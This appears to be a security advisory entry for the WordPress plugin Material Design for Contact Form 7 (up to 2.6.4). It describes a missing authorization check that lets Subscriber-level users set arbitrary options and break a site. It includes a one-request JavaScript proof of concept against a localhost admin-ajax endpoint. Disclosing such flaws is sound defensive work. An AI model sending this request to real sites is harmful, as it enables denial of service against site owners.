Lucene search

K
wpvulndbKrzysztof ZającWPVDB-ID:6D0932BB-D515-4432-B67B-16ABA34BD285
HistoryMar 11, 2022 - 12:00 a.m.

Material Design for Contact Form 7 <= 2.6.4 - Subscriber+ Arbitrary Settings Update leading to DoS

2022-03-1100:00:00
Krzysztof Zając
wpscan.com
13
wordpress
arbitrary settings
dos

EPSS

0.001

Percentile

34.1%

The plugin does not check authorization or that the option mentioned in the notice param belongs to the plugin when processing requests to the cf7md_dismiss_notice action, allowing any logged in user (with roles as low as Subscriber) to set arbitrary options to true, potentially leading to Denial of Service by breaking the site.

PoC

fetch(“http://127.0.0.1:8001/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=cf7md_dismiss_notice&notice;=template”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));

EPSS

0.001

Percentile

34.1%

Related for WPVDB-ID:6D0932BB-D515-4432-B67B-16ABA34BD285